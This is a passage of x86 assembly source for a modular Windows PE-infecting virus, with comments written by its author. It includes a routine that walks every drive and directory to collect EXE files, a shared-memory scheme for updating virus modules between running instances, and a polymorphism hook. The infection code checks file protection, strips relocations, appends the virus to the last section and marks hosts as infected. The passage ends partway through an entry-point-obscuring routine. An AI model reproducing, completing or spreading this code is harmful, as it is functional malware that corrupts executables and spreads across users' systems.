lea edx,[ebx+edx] ; return buffer loc

ret

PolyMorphiseIt:

push ebp ; long stack play just
push ebx ; to keep the regs as it is
; between modules
push esp

push ecx

push 4
push 1000h ; MEM_COMMIT
push banksize
push 0
apicall 0A2F83D2Ah,0 ; VirtualAlloc

push eax

push 4
push 1000h ; MEM_COMMIT
push banksize
push 0
apicall 0A2F83D2Ah,0 ; VirtualAlloc

pop edx
pop ecx

pop ebp

mov edi,eax

push edi
push edx

push edi
push esi

mov eax,1
call ModuleCall ; call polymorphise

pop edi
pop esi

push ecx
repz movsb
pop ecx

pop edx
pop eax

pushad
push edx

push 4000h ; MEM_DECOMMIT
push banksize
push eax
apicall 0545F6132h,0 ; VirtualFree

pop edx

push 4000h ; MEM_DECOMMIT
push banksize
push edx
apicall 0545F6132h,0 ; VirtualFree

popad

pop ebx
pop ebp

ret

;
; File Finder loaded and workin' :)
;
;
; File Find Structure !CeC at nullsize-8 (760) = CeC! start of Find File
; start + 4 = offset to pointer to end of Directory
; start + 8 = how much down in the dir tree are we ?
; start + 12 = list of : 0 Number ID
; 4 Handle (number)
; start + 1024 = Working Buffer Directory
; start + 1024 + 260 = Current FindFirst32 thing
; start + 1024 + 1024 = File storage, marked by CeC!
; Storage start + 4 = File count (limited to 5000)
; Storage start + 8 = File saved entry
; each entry is = 0 = (Name + ) Crc
; 4 = File state
; 8 = Name terminated by a zero char
;

FindAFile:

push edx

push esi
push edi

xor edi,edi

add edx,nullsize-8

cmp dword ptr [edx],'!CeC' ; check for a consistent
je skipinitfile ; structure

mov dword ptr [edx],'!CeC' ; set the structure active

lea edi,[edx+12] ; zeroize the handles buffer
mov ecx,32*8 ; for init
xor eax,eax
repz stosb

lea ecx,[edx+1024] ; load the ecx

push ecx
push edx

push ecx ; find the current directory
push 260
apicall 220B36AAh,0 ; GetCurrentDirectoryA
pop edx

pop ecx

skipinitfile:
andloadfile:

lea ecx,[edx+1024] ; load the ecx

mov ebx,ecx
xor eax,eax

gogetagainslash:

inc ecx ; Check number of \ wich is

cmp byte ptr [ecx],'\' ; the counter of directories
jne getnextslash ; level

inc eax

getnextslash:

cmp byte ptr [ecx],0
jne gogetagainslash ; untill the end

sub ecx,ebx
;dec eax

mov dword ptr [edx+4],ecx ; ecx is a pointer to the 0 end char
mov dword ptr [edx+8],eax ; is the directory level

mov eax,dword ptr [edx+8]
lea eax,[edx+12+eax*8] ; seek to that pointer
mov eax,dword ptr [eax+4] ; load value

lea ecx,[edx+1024+260] ; point to the find first find next

push edx ; save handler, api call scratch it

push ecx
push eax ;

Fapicall 0E5FAADCFh,0,kk94 ; Find the next file, if value
; scratched
pop edx

cmp eax,0
jne AddOneFile ; is it working ? all right

push edx

Fapicall 0D15AA8A9h,0,kk103
; if we reach that point, Find Next
; have failed
pop edx

cmp eax,12h
je goupdirnow

mov ecx,dword ptr [edx+4] ; ecx is a pointer to the directory

lea ecx,[ecx+edx+1024] ; initing the buffer
push ecx
mov dword ptr [ecx],'*.*\' ; set it with the zero
mov byte ptr [ecx+4],0

lea ecx,[edx+1024] ; initing the buffer
lea ebx,[edx+1024+260] ; where we drop it


push edx

push ebx
push ecx
Fapicall 04A5BD785h,0,kk126 ; and then find the next file

pop edx
pop ecx

mov dword ptr [ecx],0 ; set it with the zero
mov byte ptr [ecx+4],0

cmp eax,-1
je goupdirnow

mov ecx,dword ptr [edx+8]
lea ebx,[edx+12+ecx*8] ; load the deep counter value

mov ecx,dword ptr [ebx] ; load the count value
mov dword ptr [ebx+4],eax

inc ecx

reloadonefile:

cmp ecx,0 ; find it X time
je AddOneFile

dec ecx

push ecx
push edx
push eax

lea edx,dword ptr [edx+1024+260] ; then load in the FF buffer

push edx
push eax
Fapicall 0E5FAADCFh,0,kk160 ; find next file

pop eax
pop edx
pop ecx

jmp reloadonefile

AddOneFile:

cmp byte ptr [edx+1024+260+2Ch],'.'
je filegoaway

bt dword ptr [edx+1024+260],4
jnc dontgodowndir

lea esi,[edx+1024+260+2Ch]
lea edi,[edx+1024]
add edi,dword ptr [edx+4]

inc dword ptr [edx+8]

mov eax,dword ptr [edx+8]
lea eax,[edx+12+eax*8]
mov dword ptr [eax],0

mov byte ptr [edi],'\'
inc edi

loadbbeforenext:

lodsb
stosb

cmp al,0
jne loadbbeforenext

jmp andloadfile

dontgodowndir:

lea ebx,[edx+1024+260+2Ch]

searchagain:
inc ebx

cmp byte ptr [ebx],0
je filegoaway

cmp byte ptr [ebx],'.'
jne searchagain

cmp dword ptr [ebx+1],'EXE'
jne filegoaway

;
; registering the file to the file buffer
;

lea ecx,[edx+1024+1024]

cmp dword ptr [ecx],'!CeC' ; check strcutre
je skipinitfilbuff

mov dword ptr [ecx],'!CeC' ; set it
mov dword ptr [ecx+4],0

skipinitfilbuff:

cmp dword ptr [ecx+4],4999 ; max number
ja skipregfile

xor eax,eax

lea ebx,[edx+1024]
call gotaload

add eax,'\' ; load directory
ror eax,3

lea ebx,[edx+1024+260+2Ch]
call gotaload

lea ebx,[ecx+8] ; load name
mov ecx,dword ptr [ecx+4]

loadthismasta:

cmp ecx,0 ; seek to last entered PE
je gogotdropit

cmp dword ptr [ebx],eax ; already registered
je skipregfile

add ebx,8

getnext0:
inc ebx
cmp byte ptr [ebx-1],0
jne getnext0

dec ecx

jmp loadthismasta

gogotdropit:

inc dword ptr [edx+1024+1024+4] ; increment number of infected

mov dword ptr [ebx],eax ; set crc
mov dword ptr [ebx+4],0 ; set null file state

lea esi,[edx+1024] ; load the directory
lea edi,[ebx+8]

getnext1236:

lodsb
stosb

cmp al,0
jne getnext1236

mov byte ptr [edi-1],'\' ; drop it
lea esi,[edx+1024+260+2Ch]

getnext789b:

lodsb
stosb

cmp al,0
jne getnext789b ; drop name

jmp skipregfile ; finish work

gotaload:

push ebx
movzx ebx,byte ptr [ebx] ; load crc
add eax,ebx
pop ebx

ror eax,3

inc ebx
cmp byte ptr [ebx],0
jne gotaload

ret

skipregfile:

filegoaway:

mov ecx,dword ptr [edx+8]
lea ebx,[edx+12+ecx*8] ; load the deep counter value

push ebx
mov eax,dword ptr [ebx+4] ; load the handle

lea ebx,[edx+1024+260] ; load the buffer

push edx

push ebx
push eax

Fapicall 0E5FAADCFh,0,kk232 ; find the file

pop edx
pop ebx

inc dword ptr [ebx]

cmp eax,0
jne AddOneFile ; we reached the last file ?

goupdirnow:

cmp dword ptr [edx+8],0
jne gonextdir

changedrive:

lea ecx,[edx+1024]

mov dword ptr [edx+12],0
mov dword ptr [edx+16],0

inc byte ptr [ecx]
mov word ptr [ecx+2],'\'

push edx
push ecx
Fapicall 0986B615h,0,kk259 ; GetDriveTypeA
pop edx ; never talk of project mayhem

mov word ptr [edx+1024+2],0

cmp eax,1
jne testtwo

mov word ptr [edx+1024],':C'
jmp skipinitfile

testtwo:

cmp eax,3
je andloadfile

cmp eax,4
je andloadfile

jmp changedrive

gonextdir:

push edx

mov eax,dword ptr [edx+8]
lea eax,[edx+12+eax*8]

mov eax,dword ptr [eax+4]

push eax
Fapicall 0A8793DEAh,0,kk290 ; FindClose

pop edx

lea esi,[edx+1024]
add esi,dword ptr [edx+4]

decitagain:

dec esi

cmp byte ptr [esi],'\' ; say it, say it
jne decitagain ; I'm tyler durden!

mov byte ptr [esi],0

pop edi
pop esi

pop edx

ret

;
; code updator -
;
; Work by the following method
;
; 1ø tell mother to create a mirror of his own module images
; 2ø Send Genetic map of client (module version codes)
; 3ø (if) mother call bee to upgrade selected code to mirror
; 4ø when no virus is dropped, then the mother flush the
; mirror modules to the virus image
;
; mirror is created at bank #34 and flushed to bank #33 wich normally are
; unexistant, but you can play with them if you want, well, you have to
; respect a small structure, if u want to deal, see yourself comment at
; Updated function
;
; isn't that a funky world ?
;
; Shared functions:
;
; void updatorrestart : Repair from a crash during updating
; void CheckUpdated : Server check while connecting of client
; void LoadModulePointer : Load the Module in the update
; void LoadUpdateVersion : Init/Create the updating value
; void FlushModule : Write to Dropped image
; void GetUserValue : See how much hinstances are infecting
; void SetUserValue : Set how much hinstances are infecting
; void incuservalue : Inc the amount of hinstances are infection
; void decuservalue : Dec the amount of hinstances are infection
; void DirectUpdate : Update directly to a module (To be shared with mod)
;

updatorrestart:

pushad

pushad
call BuildModulesImage
popad

mov ecx,34
call LoadBankInfo

mov dword ptr [eax+8],0

popad

ret

LoadModulePointer:

pushad

push ecx
mov ecx,34
call LoadBankInfo
pop ecx

mov ebx,eax

mov eax,modulesize
xor edx,edx
mul ecx

lea eax,dword ptr [eax+ebx+16]

mov dword ptr [esp+20h-4],eax

popad

ret

CheckUpdated: ; This call the server to check
; if each the remote virus have
pushad
call BuildModulesImage
popad
call LoadUpdateVersion

loadpointer ecx ,VersionDirty, up56
mov ecx,dword ptr [ecx]

xor eax,eax

getnextbla99:

cmp cl,bl
jae getnext55

pushad

push 0
push eax
push WM_UPDATE
push edx ;
apicall 0FBAC7F60h,1 ; SendMessageA

popad

getnext55:

ror ebx,8
ror ecx,8

inc eax
cmp eax,modulenumber
jne getnextbla99

ret

LoadUpdateVersion: ; the mum will update himself
; to the memory area
pushad

mov ecx,34 ; load the Swap module bank
call LoadBankInfo

mov edx,eax
mov ebx,eax

cmp dword ptr [edx],'!CeC' ; check that it's was init.
je skipbankinfoit

mov dword ptr [edx],'!CeC' ; not ? init it!
mov dword ptr [edx+12],0 ; reset the aldorflag

push edx

mov ecx,33
call LoadBankInfo ; load Dropped Virus image bank

mov edx,eax ; set it to edx

add edx,(PointerTable-VirusStart)+12 ; we seek to kernel pointer table

pop ebx

lea edi,[ebx+16] ; point to the module tables

xor ecx,ecx ; set null the module counter

getthis95:

push ecx
push edi

mov esi,dword ptr [edx+16+ecx*4] ; get module offset
lea esi,[edx+esi+16+modulenumber*4] ; from end of kernel

mov ecx,dword ptr [esi] ; load size
repz movsb ; repz it

pop edi
pop ecx

add edi,modulesize ; add modulesize

inc ecx ; increment it

cmp ecx,modulenumber ; we did all the counter ?
jne getthis95

mov edx,dword ptr [edx-4] ; then load the module val
mov dword ptr [ebx+4],edx ; set as updated/loaded
mov dword ptr [ebx+8],edx

skipbankinfoit:

mov ebx,dword ptr [ebx+4]
mov dword ptr [esp+20h-4-4-4-4],ebx

popad

ret

UpdateThisModule:

pushad

push ecx

mov ecx,34 ; load the Swap module bank
call LoadBankInfo

pop ecx
mov edx,eax ; set the bank pos

cmp dword ptr [edx],'!CeC' ; Check if it's coherent
jne skipupdatingit

push edx ; save edx place

lea edi,[edx+16] ; Set the start of the needed info
xor edx,edx

mov eax,modulesize
mul ecx ; load the offset of it

push ecx

add edi,eax ; load the offset of the mirror
; of module x
mov ecx,33
call LoadBankInfo ; load the virus-module images

pop ecx

push ecx
add eax,(PointerTable-VirusStart)+16 ; we seek to kernel pointer table

mov esi,dword ptr [eax+16+ecx*4] ; get module offset
lea esi,[eax+esi+16+modulenumber*4] ; from end of kernel

mov ecx,dword ptr [esi] ; load module size

push esi

repz movsb ; copy it to buffer

pop esi
pop ecx
pop edx

mov al,byte ptr [esi+5] ; set new place
mov byte ptr [edx+8+ecx],al ;

skipupdatingit:

popad

ret

;
; Update bank
;
; Update bank alias #34 is divided in 5 part
; a short header: 0 Cec! marker
; 4 Bank #33 version, Initially set to zero
; 8 Bank #34 version, Initially set to zero
; 12 Infect counter, Initially set to zero
;
; from there, 5 part of modulesize byte, wich contain modules
;

SetBank34Module:

;pushad
;mov ecx,34
;call LoadBankInfo
;popad
;
;mov dword ptr [edx+8],eax
;
;ret

FlushModule: ; flush module to virus image

pushad

; Your Pain is a white bowl of healing light

mov ecx,34
call LoadBankInfo ; load the virus-module images

cmp dword ptr [eax],'!CeC' ; Check flush module consistancy
jne skipflush

mov esi,eax ; set esi as source module

call getuservalue ; check if nobody use the user value

cmp eax,0
jne skipflush

mov eax,-1 ; set it as busy
call setuservalue

mov ecx,33
call LoadBankInfo ; load the virus-module images

push eax

mov edx,eax ; set it as dest

add edx,12+(PointerTable-VirusStart) ; seek to pointer table in dest
lea edi,[edx+modulenumber*4+16] ; set it as end of module

; eh, see all the version updated!

mov ecx,dword ptr [esi+8] ; load new version
mov dword ptr [esi+4],ecx ; then set it as old version
mov dword ptr [edx-4],ecx ; then set it as flush immage version

mov dword ptr [eax+8],ecx ; set it as header version

add esi,16 ; esi is pointing now to the start of
; mods

xor ecx,ecx ; nullify ecx

mov byte ptr [edi],90h ; set a nop there
inc edi ; increment edi

loopitagain:

mov ebp,edi ; set current pos in dest
sub ebp,edx ; from the end of pointer table
sub ebp,modulenumber*4+16 ;

mov dword ptr [edx+16+ecx*4],ebp ; put new offset

push ecx ; save counter

mov ecx,dword ptr [esi] ; load the size
push esi ;

repz movsb ; copy to the buffer

pop esi ; add fix module size
add esi,modulesize

pop ecx ; load the module number

inc ecx

cmp ecx,modulenumber
jne loopitagain

pop eax

mov edx,eax

sub eax,edi
neg eax
sub eax,12

mov dword ptr [edx+4],eax ; specify the size

mov eax,0 ; nullify the user value
call setuservalue

skipflush:

popad

ret

getuservalue:

pushad

mov ecx,34
call LoadBankInfo ; load the flushing-module images

getthisoneb:

mov edx,dword ptr [eax+12]

cmp edx,-1
je getthisoneb

mov dword ptr [esp+20h-4],edx

popad

ret

setuservalue:

pushad

push eax
mov ecx,34
call LoadBankInfo ; load the flushing-module images

pop dword ptr [eax+12]

popad

ret

incuservalue:

pushad

mov ecx,34
call LoadBankInfo ; load the flushing-module images

getthisonec:

mov edx,dword ptr [eax+12]

cmp edx,-1
je getthisonec ; dont overwrite fucked value

inc dword ptr [eax+12] ; increment pass byte

popad

ret

decuservalue:

pushad

mov ecx,34
call LoadBankInfo ; load the flushing-module images

dec dword ptr [eax+12] ; decrement pass byte

popad

ret

;
; esi = modul origin
; ecx = module number
;

DirectUpdate:

pushad

push ecx
push ecx

mov ecx,34
call LoadBankInfo

pop ecx
push eax

lea edi,[eax+16]

mov eax,modulesize
xor edx,edx
mul ecx

add edi,eax

mov ecx,dword ptr [esi]

mov ebx,dword ptr [esi+5]

repz movsb

pop eax
pop ecx

mov byte ptr [eax+8+ecx*4],bl

popad
ret

;
; What modulization assume:
;
; - a routine handler, that may give to routines the power to call
; comon routines and to interact with the common memory buffer. The
; routine is unused, instead of the Oxygen model where it's very very
; used but kept for future use, ah yes, it's used to perform api calls
; - to build a complete and most updated image of the virus included
; latest techs
; - to perform sub module calling, and managing untill the entrypoint
; done also for Init - wich is a basic call and return the InitVal
; that should be PE loaded base
; and Fini that is basically a link to the infect procedure that is
; basically a return to host.
; Note that to deal with this, you need to have a fini compliant with
; EPOZero norms, wich mean keeping a few (primordial) data before the
; PE header, well yes, they may trash the EXE before but who care of
; it ?
;
; Modules have two version in them, the system
; (wich is actually 1) and their own, the EPOZero norm is a bit
; advanced but usable with a few effort to all technologies.
; it needs to drop the return of a call that will be patched by
; a known value
;
; - Internal purpose:-Build virus to the bank #33 (wich is inexistant 4
; the programmer,wich make it unaccessible in theory)
; -Copy the most updated virus from #33 to bank X
; -Dispatching kernel Function
; -Build mini virus version code
;
;

GetMapped equ 1
MApiCall equ 2
LoadLib equ 3
FApiCall equ 4
registernet equ 5
getvirversion equ 6
getmodpointer equ 7
DirectUpdateIt equ 8
LoadBankInfoIt equ 9
PolyMorphising equ 10

RoutineHandler: ; dispatching to Routine handler

cmp dword ptr [esp-8],GetMapped
jne getother0

jmp GetMappedFile

getother0:

cmp dword ptr [esp-8],MApiCall
jne getother1

jmp ApiCallit

getother1:

cmp dword ptr [esp-8],LoadLib
jne getother2

jmp loadhandle

getother2:

cmp dword ptr [esp-8],FApiCall
jne getother3

jmp ExtendedApiCall

getother3:

cmp dword ptr [esp-8],registernet
jne getother4

jmp registernet0

getother4:

cmp dword ptr [esp-8],getvirversion
jne getother5

push ebx
call LoadUpdateVersion
mov eax,ebx
pop ebx

ret

getother5:

cmp dword ptr [esp-8],getmodpointer
jne getother6

jmp LoadModulePointer

getother6:

cmp dword ptr [esp-8],DirectUpdateIt
jne getother7

jmp DirectUpdate

getother7:

cmp dword ptr [esp-8],LoadBankInfoIt
jne getother8

jmp LoadBankInfo

getother8:

cmp dword ptr [esp-8],PolyMorphising
jne getother9

jmp PolyMorphiseIt

getother9:

ret


LoadModuleTable: ; here it is

push ebx
push ecx

loadpointer ebx, PointerTable, lmt
loadpointer ecx, VirusStart, lmt2

sub ebx,ecx
mov edx,ebx

pop ecx
pop ebx

ret

BuildModulesImage:

; out: ebx = virus offset
; ecx = virus size

push ebp

mov ecx,33
call LoadBankInfo

push eax

cmp dword ptr [eax],'CeC!'
jne heydoitnow

;
; bank 33 is a CeCile structure:
;
; 0 - CeC header mark
; 4 - virus size
; 8 - bank 33 version
; 12 - bank size
;
;
; mov edx,dword ptr [eax+8]
; loadpointer ecx, VersionDirty, dtt
;
; int 3
;
; cmp dword ptr [ecx],edx
; jb takeminemine

jmp takeminemine

heydoitnow:

mov dword ptr [eax],'CeC!'
push eax

lea edi,[eax+12]
mov ebx,edi

loadpointer esi, VirusStart,bm1
mov ecx, PointerTable-VirusStart ; drop kernel
repz movsb

mov edx,esi
mov ebp,edi

mov ecx,StartMod-PointerTable
repz movsb

mov byte ptr [edi],090h ; set a nop to have
; non void pointers
push ebx ; (mean non present
mov ebx,edi ; modules)

inc edi

mov ecx,0

fillit:

mov eax,dword ptr [edx+16+ecx*4] ; load module
add eax,esi

push ecx

cmp eax,esi
je finishflushing

cmp byte ptr [eax+4],1 ; compatible with
jne notgoodbye ; kernel 1 ?

notgoodbye:

push ebx
push eax

mov al,byte ptr [eax+5] ; load module version
sub ebx,16+modulenumber*4+4 ;
add ebx,ecx
mov byte ptr [ebx],al ; save module version

pop eax
pop ebx

push edi
push ebx

sub edi,ebx
sub ecx,modulenumber
neg ecx ; pointer is inverse
; of versions ID
shl ecx,2
sub ebx,ecx
mov dword ptr [ebx],edi ; save pointer

pop ebx
pop edi

mov ecx,dword ptr [eax] ; load module size

push esi
mov esi,eax
repz movsb ; flush size
pop esi

finishflushing:

pop ecx

add ebp,4

inc ecx
cmp ecx,modulenumber ; all flushed ?
jne fillit

mov ebx,dword ptr [edx-4]

mov eax,dword ptr [esp+4]
mov dword ptr [eax+8],ebx ; set version

pop ebx
mov ecx,edi
sub ecx,ebx

pop eax
mov dword ptr [eax+4],ecx ; set size

call LoadUpdateVersion

takeminemine:

call FlushModule ; flush modules

pop eax

mov ecx,dword ptr [eax+4]

pop ebp
ret

CopyVirusImageToBank:

push ecx

mov ecx,33
call LoadBankInfo ; copy from bank 33

mov esi,eax

pop ecx
call LoadBankInfo ; to chosen bank

mov edi,eax
mov ecx,dword ptr [esi+4]
add esi,12

repz movsb

ret

getvirusminiversion: ; load a compressed version of the kernel
; format ( 8 bit )

push eax
loadpointer edx,VersionDirty,gvm

movzx eax,byte ptr [edx]
shl eax,2 ; 4 version of infector
add al,byte ptr [edx+1]
shl eax,4 ; 16 version of poly
add al,byte ptr [edx+2] ; 4 version of payload

mov edx,eax

pop eax
ret

Fini0:

loadpointer ebx,StartMod, m1
loadpointer edx,InfectMod, m9
add ebx,dword ptr [edx]
loadpointer edx,Fini, m1B
add ebx,dword ptr [edx]

jmp ebx

Init0:

loadpointer ebx,RoutineHandler, k3
mov eax,ebx
loadpointer ebx,StartMod, m2

sub ebx,modulenumber*4
mov ecx,modulenumber ; fix here module number

getittomax:

cmp dword ptr [ebx],0
je getnextfill

push ecx
push ebx

push dword ptr [ebx]
lea ebx,[ebx+ecx*4]

mov ecx,dword ptr [esp]
add esp,4

add ecx,ebx

mov ebx,dword ptr [ecx+4+2]
add ebx,ecx
mov dword ptr [ebx],eax

pop ebx
pop ecx

getnextfill:

add ebx,4

loop getittomax

loadpointer edx,Init, m2B

cmp dword ptr [edx],0
je skipthatone

add ebx,dword ptr [edx]
add ebx,dword ptr [edx+8] ; coz Ini/Fini located in code

call ebx

skipthatone:
ret

ModuleCall:

push edx
loadpointer edx, PointerTable, mC1
loadpointer ebx, StartMod, mC2

mov eax,dword ptr [edx+eax*4+16]
add eax,ebx

mov ebx,dword ptr [eax+4+4+2]
add ebx,eax
pop edx

jmp ebx

VersionDirty: db 1,1,1,1

PointerTable:

Fini: dd fini_m0-InfectStart
FiniVal: dd 0
Init: dd 0
InitVal: dd 0

modulenumber equ 4

InfectMod: dd offset InfectStart-StartMod
PolyMod: dd offset PolyStart-StartMod
PayloadMod: dd offset PayloadStart-StartMod
ComMod: dd offset CommodStart-StartMod

; DebugMod: dd 0

StartMod:

ret

; here should come the modules include

;
; Virus memory bank - use memory mapped file to make a shared memory
; there's 32 bank
;
; 0 - CeC!
; 4 - Memory Bank State, bit x = bank is used if equal 1, unused if 0
; 8 - 32 * 64 for memory communication
; 2056 - 32 * 50000 for memory data
;

error equ 0 ; and the error code
version equ 4 ; virus version
virsize equ 8 ; the virus size
valuefill equ 12 ; the module table
virusbank equ 16 ; virus bank
dropplace equ 20 ; were virus image is dropped

infmemsizeof equ 24

setval macro destination, origin

mov dword ptr [ebp+&destination&],&origin&

endm

getval

         macro           origin 

mov eax,dword ptr [ebp+&origin&]

endm

InfectStart:

dd offset InfectEnd - InfectStart
db 1 ; workable system
db 1 ; workable infection
dd InfectSyscall - InfectStart
dd Infectroutine - InfectStart

ISyscall macro I_ID_CoDE

mov dword ptr [esp-12], I_ID_CoDE
call ISyscall0

endm

I_apicall macro crcval, libhandle

mov edx,libhandle
mov eax,crcval
ISyscall MApiCall

endm

I_Init:

mov eax,dword ptr [edx+4]

ret

I_Fini:

push 0
I_apicall 01017D1A1h,0 ; get module handle

add eax,dword ptr [eax+03Ch]
push eax

I_apicall 0ACDA53ACh,0 ;GetCurrentProcessId

push eax
push 0
push 01F0fffh
I_apicall 0A2069B15h,0

pop edx

mov ecx,dword ptr [esp+20h]
sub ecx,4
push edx

push dword ptr [edx-10]
mov edx,esp

push 0 ; 0 -
push 4 ; 4 byte to write
push edx ; offset of operation
push ecx ; offset to base address
push eax ; openprocess handle
I_apicall 084979262h,0 ; WriteProcessMemory

pop edx
pop edx
mov eax,dword ptr [esp+20h]
add eax,dword ptr [edx-10]

mov dword ptr [esp-4],eax
popad

jmp dword ptr [esp-4-20h] ; return to the host :)

Infectroutine:

;ISyscall GetMapped
;add ebp,eax

push ebp
pushad

;
; Objective of this file is 1ø if the file exist
; 2ø if the file can be opened
; Yes - 3ø Save the time state
; 4øOpen file
;
; And then infect it
;
; The virus have a mini routine that scan the stack in order to find a known
; value and then use the precedent values to resize and remap the file
;

E_Infect:

mov edx,esp
sub esp,512
mov edx,esp

push esi

push edx
push esi
I_apicall 04A5BD785h,0 ; FindFirst

pop esi

cmp eax,-1
jne Infectit1

add esp,512
setval error, -1

jmp wefinished

Infectit1:

push eax
I_apicall 0A8793DEAh,0 ; Find Close

sub esp,12
mov edx,esp
mov dword ptr [edx],12
mov dword ptr [edx+4],0
mov dword ptr [edx+4+4],0

pushad

push esi

loadpointer edx,SFCLib,api48
mov ecx,0
mov eax,2
ISyscall LoadLib

cmp eax,0
pop edx ; restore name
je skiptest

push eax

push edx
push 0
I_apicall 0D23E5722h,2 ; SfcIsFileProtected

pop edx
push eax

push edx
I_apicall 1740CD46h,0 ; freelibraryA

pop eax

cmp eax,0
je skiptest

popad

add esp,512+12
setval error,-95 ; file protected
jmp wefinished

skiptest:

popad

push edx

push 0
push 80h
push 3 ; OPEN_EXISTING
push edx
push 1 ; FILE_SHARE_READ
push 80000000h or 40000000h ; GENERIC_READ or GENERIC_WRITE
push esi
I_apicall 193E83EEh, 0 ; CreateFileA

pop edx

cmp eax,-1
jne Infectit2

add esp,512+12
setval error,2
jmp wefinished

Infectit2:

push 21021981
push eax

push eax
push edx

push 0
push eax
I_apicall 3508A453h,0 ; GetFileSizeA

pop edx
pop ebx

push 0
push eax
push 0
push 4
push edx
push ebx
I_apicall 97E2AF98h,0 ; CreateFileMappingA

push eax

push 0
push 0
push 0
push 000F001Fh
push eax
I_apicall 3D547DB1h,0 ; MapViewOfFile

push eax
neg eax
push eax
neg eax

call testinf

cmp eax,0
jne skipinf

call killrelocs

getval virsize
push eax

setval virsize,banksize
call dropcode

pop eax
setval virsize,eax

call updatecode

call HideEP

cmp eax,-1
je goaway5

call hookres
call RebuildLoaded
jmp goaway5

skipinf:

cmp eax,1
jne goaway5

call updatecode
jmp goaway5

;
; testing infection
;

testinf:

mov esi,eax

cmp word ptr [esi],'ZM' ; exe ?
je itsexec

setval error, -16
mov eax,-1
ret

itsexec:

mov eax,dword ptr [esi+03Ch]
lea edi,[eax+esi]

cmp dword ptr [edi],'EP' ; PE ?
je itsexec2

setval error, -17
mov eax,-1
ret

itsexec2:

bt dword ptr [edi+22],12
jc notprog

bt dword ptr [edi+22],13 ; application ?
jnc notprog

setval error, -18
mov eax,-1
ret

notprog:

movzx edx,word ptr [edi+20]
lea edx,[edi+edx+24]

mov eax,dword ptr [edi+40]

mov ecx,dword ptr [edx+12]
add ecx,dword ptr [edx+8]

cmp eax,ecx
jb thatsfine ; entrypoint in code section ?

setval error, -19
mov eax,-1
ret

thatsfine:

push edx

mov eax,dword ptr [edi+8]
mov ecx,24
xor edx,edx
div ecx

cmp edx,0
jne processinfection ; not infected ?

cmp byte ptr [edi-1],al
jne processinfection

pop edx

mov eax,04000h
add al,byte ptr [edi-2] ; set file state infected

setval error, eax

mov dl,al

getval version

cmp dl,al ; for future flush
jae doitright

mov byte ptr [edi-2],dl
mov eax,1 ; reflush it !

doitright:

ret

processinfection:

cmp dword ptr [edi+132],0 ; check that export is not
jne damnthatit ; null!

setval error,-25
mov eax,-1
ret

damnthatit:

inc eax
mov byte ptr [edi-1],al

xor edx,edx
mul ecx
mov dword ptr [edi+8],eax

pop edx

mov ecx,dword ptr [edx+16] ; code section

cmp ecx,dword ptr [edx+8]
ja allright ; check code section normal
; to use nulls at the end
setval error,-18

mov eax,-1
ret

allright:

getval version ; set version

mov byte ptr [edi-2],al

xor eax,eax
ret

killrelocs:

or word ptr [edi+22], 1

movzx ecx,word ptr [edi+6]

push edx

getitnow:

mov dword ptr [edx+24],0
mov dword ptr [edx+24+4],0 ; zero the reloc to each
mov dword ptr [edx+24+8],0 ; section

add edx,40

loop getitnow

pop edx

mov eax,dword ptr [edi+160] ; zeroizing the
cmp eax,0
je getthatnow

call RVA2Offset ; reloc table

push edi

mov ecx,dword ptr [edi+164]
lea edi,[esi+eax]

repz stosb ; zero the section

pop edi

mov dword ptr [edi+160],0 ; zero the reloc size
mov dword ptr [edi+164],0

push edx

mov ebx,edx
movzx eax,word ptr [edi+6]
xor edx,edx
mov ecx,40
dec eax
mul ecx

push edi

lea edi,[ebx+eax]

cmp dword ptr [edi],'ler.' ; kill section
jne skipgetit

mov ecx,40
xor eax,eax

repz stosb ; zero it from disk

pop edi
dec word ptr [edi+06]
push edi
skipgetit:

pop edi
pop edx

getthatnow:

ret

dropcode:

push edx

movzx eax,word ptr [edi+06] ; load number of section
mov ecx,40 ; size of section
xor edx,edx
dec eax
mul ecx ; go to last section

pop edx ; restore edx wich point
; to start of section
lea ebx,[edx+eax]

or byte ptr [ebx+36],01000000b ; modify the segment state
and byte ptr [ebx+36],1111111b
or byte ptr [ebx+36+3],10000000b

getval virsize ; load the size

add eax,4
add eax,dword ptr [ebx+8]

xor edx,edx
mov ecx,dword ptr [edi+60]
div ecx ;
inc eax
xor edx,edx
mul ecx ;

mov edx,dword ptr [ebx+8]
add edx,dword ptr [ebx+12]

push edx

add edx,dword ptr [edi+52] ; calculate were virus binary
setval dropplace,edx ; is placed

pop edx

mov dword ptr [edi-10],edx ; save it near "PE"

mov edx,dword ptr [ebx+20]
add edx,dword ptr [ebx+8]

mov dword ptr [ebx+8], eax
mov dword ptr [ebx+16], eax

push edx
add eax,dword ptr [ebx+20] ; now calculate exact size

call ResizeAndRemap ; remap it!

sub ebx,edi
mov edi,dword ptr [esi+03Ch]
add edi,esi
add ebx,edi

mov eax,dword ptr [ebx+8]

xor edx,edx
mov ecx,dword ptr [edi+56]
div ecx
inc eax
xor edx,edx
mul ecx

mov dword ptr [ebx+8],eax ; set the section size!

add eax,dword ptr [ebx+12]
mov dword ptr [edi+80],eax ; set image size

movzx edx,word ptr [edi+20]
lea edx,[edx+edi+24]

pop eax

mov dword ptr [edi-6],eax ; set loaded size

ret

;
; Hide Entry Point
;
;
; The idea, well, as usal, a call or a jmp in the last section is very
; suspicious, here we use a program opcode in order to jump to our virus.
; You will tell me how if we don't use call/jmp, well, we will fake a ret
;
; The idea is the following:
;
; PUSHAD <- this for restoring state
; PUSH Imm
; XOR dword ptr [esp], Imm
; ADD dword ptr [esp], Imm
; SUB dword ptr [esp], Imm
; ROL/ROR dword ptr [esp],Imm
; jmp to ret
;
; we have in fact two possibility, drop this code in alignment cave and/or
; drop in the end of code section, wich have often series of zeroes coz
; alignment
;

HideEP:

sub esp,24

connectval equ 0
dispval equ 4
doomconstate equ 8
bottomoffset equ 12
upperoffset equ 16
savecount equ 20

mov dword ptr [esp+bottomoffset],0 ; for linking
mov dword ptr [esp+upperoffset],0
mov dword ptr [esp+doomconstate],0

mov eax,dword ptr [edi-10]
add eax,dword ptr [edi+52]
mov dword ptr [esp+dispval],eax ; load code value

mov ebx,dword ptr [edx+20]
add ebx,esi
mov ecx,dword ptr [edx+16]

mov eax,dword ptr [edx]
xor eax,dword ptr [edi+8]

and eax,111111b
inc eax

sub esp,4

getagetagain:

inc ebx

cmp byte ptr [ebx],0C3h ; search for a ret inside the
jne getagetagain5 ; code

mov dword ptr [esp],ebx ; it will be dead point

dec eax
cmp eax,0
je getagainfinish

getagetagain5:

loop getagetagain

getagainfinish:

pop ebx
call Offset2RVA

mov dword ptr [esp+connectval],ebx ; set it to connect value

mov eax,5
call loaddropplace ; search for a jump

cmp eax,-1
je stopinfection

